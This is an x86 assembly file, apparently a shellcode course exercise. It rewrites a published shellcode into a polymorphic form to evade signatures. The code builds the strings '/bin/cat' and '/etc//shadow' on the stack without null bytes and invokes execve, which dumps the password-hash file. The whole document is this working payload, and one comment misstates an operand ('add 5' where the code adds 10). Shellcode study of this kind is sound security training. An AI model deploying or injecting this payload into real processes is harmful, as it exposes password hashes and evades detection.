polymorphism_3.nasm

;SLAE-1342
;Original shellcode:- http://shell-storm.org/shellcode/files/shellcode-758.php
global _start

section .text

_start:
	xor ecx,ecx			;Anything xor with itself would result zero
	mul ecx				;The classic use of mul instruction. Now the eax:edx will become 0
	push edx			;push nulls on stack
	push dword 0x7461632f
	push word 0x6e69		;push 0x6e69 on stack
	push word 0x622f		;push 0x622f on stack
	mov ebx,esp
	push ecx			;push nulls on stack
	push dword 0x776f6461
	push word 0x6873		;push 0x6873 on stack
	push word 0x2f2f		;push 0x2f2f on stack
	push dword 0x6374652f
	mov ecx,esp
	push edx			;push nulls on stack
	push ecx
	push ebx
	mov ecx,esp
	add al,10			;add 5 to al register, so 0+10=10
	inc eax				;increase the value of eax by one, so now eax will be 11 i.e 0xb
	int 0x80